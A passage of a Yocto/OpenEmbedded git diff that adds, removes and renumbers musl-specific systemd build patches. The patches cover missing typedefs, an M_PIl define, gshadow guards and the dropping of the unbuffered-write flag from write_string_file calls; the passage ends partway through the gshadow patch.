-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:27:54 +0800
-Subject: [PATCH 20/24] missing_type.h: add __compar_d_fn_t definition
-
-Fix the following compile failure:
-src/basic/util.h:71:18: error: unknown type name '__compar_d_fn_t'; did you mean '__compar_fn_t'?
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/basic/missing_type.h | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
-index 7d7c1e4..85902ab 100644
---- a/src/basic/missing_type.h
-+++ b/src/basic/missing_type.h
-@@ -13,6 +13,7 @@
-
- #ifndef __GLIBC__
- typedef int (*comparison_fn_t)(const void *, const void *);
-+typedef int (*__compar_d_fn_t) (const void *, const void *, void *);
- #endif
-
- #ifndef __COMPAR_FN_T
---
-2.7.4
-
diff --git a/meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch b/meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch
deleted file mode 100644
index cdddf83890..0000000000
--- a/meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 3fbf61d54b82fc9bf21d8039bfd89dc9efc5bbcd Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:44:54 +0800
-Subject: [PATCH 21/24] avoid redefinition of prctl_mm_map structure
-
-Fix the following compile failure:
-error: redefinition of 'struct prctl_mm_map'
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/basic/missing_prctl.h | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/src/basic/missing_prctl.h b/src/basic/missing_prctl.h
-index f80cd17..47e4893 100644
---- a/src/basic/missing_prctl.h
-+++ b/src/basic/missing_prctl.h
-@@ -1,7 +1,9 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
- #pragma once
-
-+#ifdef __GLIBC__
- #include <linux/prctl.h>
-+#endif
-
- /* 58319057b7847667f0c9585b9de0e8932b0fdb08 (4.3) */
- #ifndef PR_CAP_AMBIENT
---
-2.11.0
-
diff --git a/meta/recipes-core/systemd/systemd/0021-test-json.c-define-M_PIl.patch b/meta/recipes-core/systemd/systemd/0021-test-json.c-define-M_PIl.patch
new file mode 100644
index 0000000000..dfab8fbbdf
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0021-test-json.c-define-M_PIl.patch
@@ -0,0 +1,29 @@
+From 47472da6e8900773c26da8fd26699367447d97a6 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 16:53:06 +0800
+Subject: [PATCH] test-json.c: define M_PIl
+
+Fix the following compile failure:
+src/test/test-json.c:305:50: error: 'M_PIl' undeclared (first use in this function); did you mean 'M_PI'?
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/test/test-json.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+--- a/src/test/test-json.c
++++ b/src/test/test-json.c
+@@ -14,6 +14,10 @@
+ #include "tests.h"
+ #include "util.h"
+
++#ifndef M_PIl
++#define M_PIl 3.141592653589793238462643383279502884L
++#endif
++
+ static void test_tokenizer_one(const char *data, ...) {
+ unsigned line = 0, column = 0;
+ void *state = NULL;
diff --git a/meta/recipes-core/systemd/systemd/0022-do-not-disable-buffer-in-writing-files.patch b/meta/recipes-core/systemd/systemd/0022-do-not-disable-buffer-in-writing-files.patch
new file mode 100644
index 0000000000..d389e1d9f9
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0022-do-not-disable-buffer-in-writing-files.patch
@@ -0,0 +1,420 @@
+From 0f9422780a569c79a4b28e44c79c70b4a354bd92 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Fri, 1 Mar 2019 15:22:15 +0800
+Subject: [PATCH] do not disable buffer in writing files
+
+Do not disable buffer in writing files, otherwise we get
+failure at boot for musl like below.
+
+ [!!!!!!] Failed to allocate manager object.
+
+And there will be other failures, critical or not critical.
+This is specific to musl.
+
+Upstream-Status: Inappropriate [musl]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[Rebased for v242]
+Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+---
+ src/basic/cgroup-util.c | 10 +++++-----
+ src/basic/procfs-util.c | 4 ++--
+ src/basic/sysctl-util.c | 2 +-
+ src/basic/util.c | 2 +-
+ src/binfmt/binfmt.c | 6 +++---
+ src/core/main.c | 4 ++--
+ src/core/smack-setup.c | 8 ++++----
+ src/hibernate-resume/hibernate-resume.c | 2 +-
+ src/libsystemd/sd-device/sd-device.c | 2 +-
+ src/nspawn/nspawn-cgroup.c | 2 +-
+ src/nspawn/nspawn.c | 6 +++---
+ src/shared/cgroup-setup.c | 4 ++--
+ src/shared/mount-util.c | 4 ++--
+ src/shared/smack-util.c | 2 +-
+ src/sleep/sleep.c | 8 ++++----
+ src/vconsole/vconsole-setup.c | 2 +-
+ 16 files changed, 34 insertions(+), 34 deletions(-)
+
+--- a/src/basic/cgroup-util.c
++++ b/src/basic/cgroup-util.c
+@@ -390,7 +390,7 @@ int cg_kill_kernel_sigkill(const char *c
+ if (r < 0)
+ return r;
+
+- r = write_string_file(killfile, "1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(killfile, "1", 0);
+ if (r < 0)
+ return r;
+
+@@ -803,7 +803,7 @@ int cg_install_release_agent(const char
+
+ sc = strstrip(contents);
+ if (isempty(sc)) {
+- r = write_string_file(fs, agent, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, agent, 0);
+ if (r < 0)
+ return r;
+ } else if (!path_equal(sc, agent))
+@@ -821,7 +821,7 @@ int cg_install_release_agent(const char
+
+ sc = strstrip(contents);
+ if (streq(sc, "0")) {
+- r = write_string_file(fs, "1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, "1", 0);
+ if (r < 0)
+ return r;
+
+@@ -848,7 +848,7 @@ int cg_uninstall_release_agent(const cha
+ if (r < 0)
+ return r;
+
+- r = write_string_file(fs, "0", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, "0", 0);
+ if (r < 0)
+ return r;
+
+@@ -858,7 +858,7 @@ int cg_uninstall_release_agent(const cha
+ if (r < 0)
+ return r;
+
+- r = write_string_file(fs, "", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, "", 0);
+ if (r < 0)
+ return r;
+
+@@ -1704,7 +1704,7 @@ int cg_set_attribute(const char *control
+ if (r < 0)
+ return r;
+
+- return write_string_file(p, value, WRITE_STRING_FILE_DISABLE_BUFFER);
++ return write_string_file(p, value, 0);
+ }
+
+ int cg_get_attribute(const char *controller, const char *path, const char *attribute, char **ret) {
+--- a/src/basic/procfs-util.c
++++ b/src/basic/procfs-util.c
+@@ -64,13 +64,13 @@ int procfs_tasks_set_limit(uint64_t limi
+ * decrease it, as threads-max is the much more relevant sysctl. */
+ if (limit > pid_max-1) {
+ sprintf(buffer, "%" PRIu64, limit+1); /* Add one, since PID 0 is not a valid PID */
+- r = write_string_file("/proc/sys/kernel/pid_max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/pid_max", buffer, 0);
+ if (r < 0)
+ return r;
+ }
+
+ sprintf(buffer, "%" PRIu64, limit);
+- r = write_string_file("/proc/sys/kernel/threads-max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/threads-max", buffer, 0);
+ if (r < 0) {
+ uint64_t threads_max;
+
+--- a/src/basic/sysctl-util.c
++++ b/src/basic/sysctl-util.c
+@@ -58,7 +58,7 @@ int sysctl_write(const char *property, c
+
+ log_debug("Setting '%s' to '%s'", p, value);
+
+- return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | WRITE_STRING_FILE_DISABLE_BUFFER | WRITE_STRING_FILE_SUPPRESS_REDUNDANT_VIRTUAL);
++ return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | WRITE_STRING_FILE_SUPPRESS_REDUNDANT_VIRTUAL);
+ }
+
+ int sysctl_writef(const char *property, const char *format, ...) {
+--- a/src/basic/util.c
++++ b/src/basic/util.c
+@@ -168,7 +168,7 @@ void disable_coredumps(void) {
+ if (detect_container() > 0)
+ return;
+
+- r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", 0);
+ if (r < 0)
+ log_debug_errno(r, "Failed to turn off coredumps, ignoring: %m");
+ }
+--- a/src/binfmt/binfmt.c
++++ b/src/binfmt/binfmt.c
+@@ -29,7 +29,7 @@ static bool arg_unregister = false;
+
+ static int delete_rule(const char *rulename) {
+ const char *fn = strjoina("/proc/sys/fs/binfmt_misc/", rulename);
+- return write_string_file(fn, "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ return write_string_file(fn, "-1", 0);
+ }
+
+ static int apply_rule(const char *filename, unsigned line, const char *rule) {
+@@ -59,7 +59,7 @@ static int apply_rule(const char *filena
+ if (r >= 0)
+ log_debug("%s:%u: Rule '%s' deleted.", filename, line, rulename);
+
+- r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, 0);
+ if (r < 0)
+ return log_error_errno(r, "%s:%u: Failed to add binary format '%s': %m",
+ filename, line, rulename);
+@@ -226,7 +226,7 @@ static int run(int argc, char *argv[]) {
+ }
+
+ /* Flush out all rules */
+- r = write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to flush binfmt_misc rules, ignoring: %m");
+ else
+--- a/src/core/main.c
++++ b/src/core/main.c
+@@ -1466,7 +1466,7 @@ static int bump_unix_max_dgram_qlen(void
+ if (v >= DEFAULT_UNIX_MAX_DGRAM_QLEN)
+ return 0;
+
+- r = write_string_filef("/proc/sys/net/unix/max_dgram_qlen", WRITE_STRING_FILE_DISABLE_BUFFER,
++ r = write_string_filef("/proc/sys/net/unix/max_dgram_qlen", 0,
+ "%lu", DEFAULT_UNIX_MAX_DGRAM_QLEN);
+ if (r < 0)
+ return log_full_errno(IN_SET(r, -EROFS, -EPERM, -EACCES) ? LOG_DEBUG : LOG_WARNING, r,
+@@ -1737,7 +1737,7 @@ static void initialize_core_pattern(bool
+ if (getpid_cached() != 1)
+ return;
+
+- r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to write '%s' to /proc/sys/kernel/core_pattern, ignoring: %m",
+ arg_early_core_pattern);
+--- a/src/core/smack-setup.c
++++ b/src/core/smack-setup.c
+@@ -320,17 +320,17 @@ int mac_smack_setup(bool *loaded_policy)
+ }
+
+ #if HAVE_SMACK_RUN_LABEL
+- r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK label \"" SMACK_RUN_LABEL "\" on self: %m");
+- r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK ambient label \"" SMACK_RUN_LABEL "\": %m");
+ r = write_string_file("/sys/fs/smackfs/netlabel",
+- "0.0.0.0/0 " SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
++ "0.0.0.0/0 " SMACK_RUN_LABEL, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK netlabel rule \"0.0.0.0/0 " SMACK_RUN_LABEL "\": %m");
+- r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK netlabel rule \"127.0.0.1 -CIPSO\": %m");
+ #endif
+--- a/src/hibernate-resume/hibernate-resume.c
++++ b/src/hibernate-resume/hibernate-resume.c
+@@ -45,7 +45,7 @@ int main(int argc, char *argv[]) {
+ return EXIT_FAILURE;
+ }
+
+- r = write_string_file("/sys/power/resume", major_minor, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/power/resume", major_minor, 0);
+ if (r < 0) {
+ log_error_errno(r, "Failed to write '%s' to /sys/power/resume: %m", major_minor);
+ return EXIT_FAILURE;
+--- a/src/libsystemd/sd-device/sd-device.c
++++ b/src/libsystemd/sd-device/sd-device.c
+@@ -2108,7 +2108,7 @@ _public_ int sd_device_set_sysattr_value
+ if (!value)
+ return -ENOMEM;
+
+- r = write_string_file(path, value, WRITE_STRING_FILE_DISABLE_BUFFER | WRITE_STRING_FILE_NOFOLLOW);
++ r = write_string_file(path, value, 0 | WRITE_STRING_FILE_NOFOLLOW);
+ if (r < 0) {
+ /* On failure, clear cache entry, as we do not know how it fails. */
+ device_remove_cached_sysattr_value(device, sysattr);
+--- a/src/nspawn/nspawn-cgroup.c
++++ b/src/nspawn/nspawn-cgroup.c
+@@ -124,7 +124,7 @@ int sync_cgroup(pid_t pid, CGroupUnified
+ fn = strjoina(tree, cgroup, "/cgroup.procs");
+
+ sprintf(pid_string, PID_FMT, pid);
+- r = write_string_file(fn, pid_string, WRITE_STRING_FILE_DISABLE_BUFFER|WRITE_STRING_FILE_MKDIR_0755);
++ r = write_string_file(fn, pid_string, WRITE_STRING_FILE_MKDIR_0755);
+ if (r < 0) {
+ log_error_errno(r, "Failed to move process: %m");
+ goto finish;
+--- a/src/nspawn/nspawn.c
++++ b/src/nspawn/nspawn.c
+@@ -2757,7 +2757,7 @@ static int reset_audit_loginuid(void) {
+ if (streq(p, "4294967295"))
+ return 0;
+
+- r = write_string_file("/proc/self/loginuid", "4294967295", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/self/loginuid", "4294967295", 0);
+ if (r < 0) {
+ log_error_errno(r,
+ "Failed to reset audit login UID. This probably means that your kernel is too\n"
+@@ -4163,7 +4163,7 @@ static int setup_uid_map(
+ return log_oom();
+
+ xsprintf(uid_map, "/proc/" PID_FMT "/uid_map", pid);
+- r = write_string_file(uid_map, s, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(uid_map, s, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write UID map: %m");
+
+@@ -4173,7 +4173,7 @@ static int setup_uid_map(
+ return log_oom();
+
+ xsprintf(uid_map, "/proc/" PID_FMT "/gid_map", pid);
+- r = write_string_file(uid_map, s, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(uid_map, s, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write GID map: %m");
+
+--- a/src/shared/cgroup-setup.c
++++ b/src/shared/cgroup-setup.c
+@@ -345,7 +345,7 @@ int cg_attach(const char *controller, co
+
+ xsprintf(c, PID_FMT "\n", pid);
+
+- r = write_string_file(fs, c, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, c, 0);
+ if (r < 0)
+ return r;
+
+@@ -877,7 +877,7 @@ int cg_enable_everywhere(
+ return log_debug_errno(errno, "Failed to open cgroup.subtree_control file of %s: %m", p);
+ }
+
+- r = write_string_stream(f, s, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_stream(f, s, 0);
+ if (r < 0) {
+ log_debug_errno(r, "Failed to %s controller %s for %s (%s): %m",
+ FLAGS_SET(mask, bit) ? "enable" : "disable", n, p, fs);
+--- a/src/shared/smack-util.c
++++ b/src/shared/smack-util.c
+@@ -114,7 +114,7 @@ int mac_smack_apply_pid(pid_t pid, const
+ return 0;
+
+ p = procfs_file_alloca(pid, "attr/current");
+- r = write_string_file(p, label, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(p, label, 0);
+ if (r < 0)
+ return r;
+
+--- a/src/sleep/sleep.c
++++ b/src/sleep/sleep.c
+@@ -46,7 +46,7 @@ static int write_hibernate_location_info
+ assert(hibernate_location->swap);
+
+ xsprintf(resume_str, "%u:%u", major(hibernate_location->devno), minor(hibernate_location->devno));
+- r = write_string_file("/sys/power/resume", resume_str, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/power/resume", resume_str, 0);
+ if (r < 0)
+ return log_debug_errno(r, "Failed to write partition device to /sys/power/resume for '%s': '%s': %m",
+ hibernate_location->swap->device, resume_str);
+@@ -73,7 +73,7 @@ static int write_hibernate_location_info
+ }
+
+ xsprintf(offset_str, "%" PRIu64, hibernate_location->offset);
+- r = write_string_file("/sys/power/resume_offset", offset_str, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/power/resume_offset", offset_str, 0);
+ if (r < 0)
+ return log_debug_errno(r, "Failed to write swap file offset to /sys/power/resume_offset for '%s': '%s': %m",
+ hibernate_location->swap->device, offset_str);
+@@ -90,7 +90,7 @@ static int write_mode(char **modes) {
+ STRV_FOREACH(mode, modes) {
+ int k;
+
+- k = write_string_file("/sys/power/disk", *mode, WRITE_STRING_FILE_DISABLE_BUFFER);
++ k = write_string_file("/sys/power/disk", *mode, 0);
+ if (k >= 0)
+ return 0;
+
+@@ -112,7 +112,7 @@ static int write_state(FILE **f, char **
+ STRV_FOREACH(state, states) {
+ int k;
+
+- k = write_string_stream(*f, *state, WRITE_STRING_FILE_DISABLE_BUFFER);
++ k = write_string_stream(*f, *state, 0);
+ if (k >= 0)
+ return 0;
+ log_debug_errno(k, "Failed to write '%s' to /sys/power/state: %m", *state);
+--- a/src/vconsole/vconsole-setup.c
++++ b/src/vconsole/vconsole-setup.c
+@@ -108,7 +108,7 @@ static int toggle_utf8_vc(const char *na
+ static int toggle_utf8_sysfs(bool utf8) {
+ int r;
+
+- r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), 0);
+ if (r < 0)
+ return log_warning_errno(r, "Failed to %s sysfs UTF-8 flag: %m", enable_disable(utf8));
+
+--- a/src/basic/namespace-util.c
++++ b/src/basic/namespace-util.c
+@@ -202,12 +202,12 @@ int userns_acquire(const char *uid_map,
+ freeze();
+
+ xsprintf(path, "/proc/" PID_FMT "/uid_map", pid);
+- r = write_string_file(path, uid_map, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(path, uid_map, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write UID map: %m");
+
+ xsprintf(path, "/proc/" PID_FMT "/gid_map", pid);
+- r = write_string_file(path, gid_map, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(path, gid_map, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write GID map: %m");
+
+--- a/src/core/cgroup.c
++++ b/src/core/cgroup.c
+@@ -4140,7 +4140,7 @@ int unit_cgroup_freezer_action(Unit *u,
+ else
+ u->freezer_state = FREEZER_THAWING;
+
+- r = write_string_file(path, one_zero(action == FREEZER_FREEZE), WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(path, one_zero(action == FREEZER_FREEZE), 0);
+ if (r < 0)
+ return r;
+
+--- a/src/home/homework.c
++++ b/src/home/homework.c
+@@ -284,7 +284,7 @@ static void drop_caches_now(void) {
+ * details. We write "2" into /proc/sys/vm/drop_caches to ensure dentries/inodes are flushed, but not
+ * more. */
+
+- r = write_string_file("/proc/sys/vm/drop_caches", "2\n", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/vm/drop_caches", "2\n", 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to drop caches, ignoring: %m");
+ else
+--- a/src/shared/binfmt-util.c
++++ b/src/shared/binfmt-util.c
+@@ -26,7 +26,7 @@ int disable_binfmt(void) {
+ if (r < 0)
+ return log_warning_errno(r, "Failed to determine whether binfmt_misc is mounted: %m");
+
+- r = write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", 0);
+ if (r < 0)
+ return log_warning_errno(r, "Failed to unregister binfmt_misc entries: %m");
+
+--- a/src/shared/coredump-util.c
++++ b/src/shared/coredump-util.c
+@@ -70,5 +70,5 @@ int set_coredump_filter(uint64_t value)
+ sprintf(t, "0x%"PRIx64, value);
+
+ return write_string_file("/proc/self/coredump_filter", t,
+- WRITE_STRING_FILE_VERIFY_ON_FAILURE|WRITE_STRING_FILE_DISABLE_BUFFER);
++ WRITE_STRING_FILE_VERIFY_ON_FAILURE);
+ }
+--- a/src/udev/udev-rules.c
++++ b/src/udev/udev-rules.c
+@@ -2181,7 +2181,6 @@ static int udev_rule_apply_token_to_even
+ log_rule_debug(dev, rules, "ATTR '%s' writing '%s'", buf, value);
+ r = write_string_file(buf, value,
+ WRITE_STRING_FILE_VERIFY_ON_FAILURE |
+- WRITE_STRING_FILE_DISABLE_BUFFER |
+ WRITE_STRING_FILE_AVOID_NEWLINE |
+ WRITE_STRING_FILE_VERIFY_IGNORE_NEWLINE);
+ if (r < 0)
diff --git a/meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch b/meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch
deleted file mode 100644
index 0e5629d37b..0000000000
--- a/meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 902412c271e0c5d9cb93b10ec0fb5b119b393474 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 16:53:06 +0800
-Subject: [PATCH 24/24] test-json.c: define M_PIl
-
-Fix the following compile failure:
-src/test/test-json.c:305:50: error: 'M_PIl' undeclared (first use in this function); did you mean 'M_PI'?
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/test/test-json.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/src/test/test-json.c b/src/test/test-json.c
-index 9b8a2a9..efc746c 100644
---- a/src/test/test-json.c
-+++ b/src/test/test-json.c
-@@ -11,6 +11,10 @@
- #include "tests.h"
- #include "util.h"
-
-+#ifndef M_PIl
-+#define M_PIl 3.141592653589793238462643383279502884L
-+#endif
-+
- static void test_tokenizer(const char *data, ...) {
- unsigned line = 0, column = 0;
- void *state = NULL;
---
-2.11.0
-
diff --git a/meta/recipes-core/systemd/systemd/0025-Handle-__cpu_mask-usage.patch b/meta/recipes-core/systemd/systemd/0025-Handle-__cpu_mask-usage.patch
new file mode 100644
index 0000000000..e001ed59e8
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0025-Handle-__cpu_mask-usage.patch
@@ -0,0 +1,58 @@
+From e4f9ef547fa342102db15188544daa18e71e9c66 Mon Sep 17 00:00:00 2001
+From: Scott Murray <scott.murray@konsulko.com>
+Date: Fri, 13 Sep 2019 19:26:27 -0400
+Subject: [PATCH] Handle __cpu_mask usage
+
+Fixes errors:
+
+src/test/test-cpu-set-util.c:18:54: error: '__cpu_mask' undeclared (first use in this function)
+src/test/test-sizeof.c:73:14: error: '__cpu_mask' undeclared (first use in this function)
+
+__cpu_mask is an internal type of glibc's cpu_set implementation, not
+part of the POSIX definition, which is problematic when building with
+musl, which does not define a matching type. From inspection of musl's
+sched.h, however, it is clear that the corresponding type would be
+unsigned long, which does match glibc's actual __CPU_MASK_TYPE. So,
+add a typedef to cpu-set-util.h defining __cpu_mask appropriately.
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+---
+ src/shared/cpu-set-util.h | 2 ++
+ src/test/test-sizeof.c | 2 +-
+ 2 files changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/src/shared/cpu-set-util.h b/src/shared/cpu-set-util.h
+index 3c63a58826..4c2d4347fc 100644
+--- a/src/shared/cpu-set-util.h
++++ b/src/shared/cpu-set-util.h
+@@ -6,6 +6,8 @@
+ #include "macro.h"
+ #include "missing_syscall.h"
+
++typedef unsigned long __cpu_mask;
++
+ /* This wraps the libc interface with a variable to keep the allocated size. */
+ typedef struct CPUSet {
+ cpu_set_t *set;
+diff --git a/src/test/test-sizeof.c b/src/test/test-sizeof.c
+index 4403c0aa52..e7e4ae112d 100644
+--- a/src/test/test-sizeof.c
++++ b/src/test/test-sizeof.c
+@@ -1,6 +1,5 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <sched.h>
+ #include <stdio.h>
+ #include <string.h>
+ #include <sys/types.h>
+@@ -10,6 +9,7 @@
+ #include <float.h>
+
+ #include "time-util.h"
++#include "cpu-set-util.h"
+
+ /* Print information about various types. Useful when diagnosing
+ * gcc diagnostics on an unfamiliar architecture. */
diff --git a/meta/recipes-core/systemd/systemd/0026-Handle-missing-gshadow.patch b/meta/recipes-core/systemd/systemd/0026-Handle-missing-gshadow.patch
new file mode 100644
index 0000000000..2d06ab84a2
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0026-Handle-missing-gshadow.patch
@@ -0,0 +1,165 @@
+From 66a926cf906260c2fb5ea851e55efe03edd444dc Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alex.kiernan@gmail.com>
+Date: Tue, 10 Mar 2020 11:05:20 +0000
+Subject: [PATCH] Handle missing gshadow
+
+gshadow usage is now present in the userdb code. Mask all uses of it to
+allow compilation on musl
+
+Upstream-Status: Inappropriate [musl specific]
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+[Rebased for v247]
+Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
+
+---
+ src/shared/user-record-nss.c | 20 ++++++++++++++++++++
+ src/shared/user-record-nss.h | 4 ++++
+ src/shared/userdb.c | 7 ++++++-
+ 3 files changed, 30 insertions(+), 1 deletion(-)
+
+--- a/src/shared/user-record-nss.c
++++ b/src/shared/user-record-nss.c
+@@ -331,8 +331,10 @@ int nss_group_to_group_record(
+ if (isempty(grp->gr_name))
+ return -EINVAL;
+
++#if ENABLE_GSHADOW
+ if (sgrp && !streq_ptr(sgrp->sg_namp, grp->gr_name))
+ return -EINVAL;
++#endif
+
+ g = group_record_new();
+ if (!g)
+@@ -348,6 +350,7 @@ int nss_group_to_group_record(
+
+ g->gid = grp->gr_gid;
+
++#if ENABLE_GSHADOW
+ if (sgrp) {
+ if (looks_like_hashed_password(utf8_only(sgrp->sg_passwd))) {
+ g->hashed_password = strv_new(sgrp->sg_passwd);
+@@ -363,6 +366,7 @@ int nss_group_to_group_record(
+ if (r < 0)
+ return r;
+ }
++#endif
+
+ r = json_build(&g->json, JSON_BUILD_OBJECT(
+ JSON_BUILD_PAIR("groupName", JSON_BUILD_STRING(g->group_name)),
+@@ -388,6 +392,7 @@ int nss_sgrp_for_group(const struct grou
+ assert(ret_sgrp);
+ assert(ret_buffer);
+
++#if ENABLE_GSHADOW
+ for (;;) {
+ _cleanup_free_ char *buf = NULL;
+ struct sgrp sgrp, *result;
+@@ -416,6 +421,9 @@ int nss_sgrp_for_group(const struct grou
+ buflen *= 2;
+ buf = mfree(buf);
+ }
++#else
++ return -ESRCH;
++#endif
+ }
+
+ int nss_group_record_by_name(
+@@ -427,7 +435,9 @@ int nss_group_record_by_name(
+ struct group grp, *result;
+ bool incomplete = false;
+ size_t buflen = 4096;
++#if ENABLE_GSHADOW
+ struct sgrp sgrp, *sresult = NULL;
++#endif
+ int r;
+
+ assert(name);
+@@ -457,6 +467,7 @@ int nss_group_record_by_name(
+ buf = mfree(buf);
+ }
+
++#if ENABLE_GSHADOW
+ if (with_shadow) {
+ r = nss_sgrp_for_group(result, &sgrp, &sbuf);
+ if (r < 0) {
+@@ -468,6 +479,9 @@ int nss_group_record_by_name(
+ incomplete = true;
+
+ r = nss_group_to_group_record(result, sresult, ret);
++#else
++ r = nss_group_to_group_record(result, NULL, ret);
++#endif
+ if (r < 0)
+ return r;
+
+@@ -484,7 +498,9 @@ int nss_group_record_by_gid(
+ struct group grp, *result;
+ bool incomplete = false;
+ size_t buflen = 4096;
++#if ENABLE_GSHADOW
+ struct sgrp sgrp, *sresult = NULL;
++#endif
+ int r;
+
+ assert(ret);
+@@ -512,6 +528,7 @@ int nss_group_record_by_gid(
+ buf = mfree(buf);
+ }
+
++#if ENABLE_GSHADOW
+ if (with_shadow) {
+ r = nss_sgrp_for_group(result, &sgrp, &sbuf);
+ if (r < 0) {
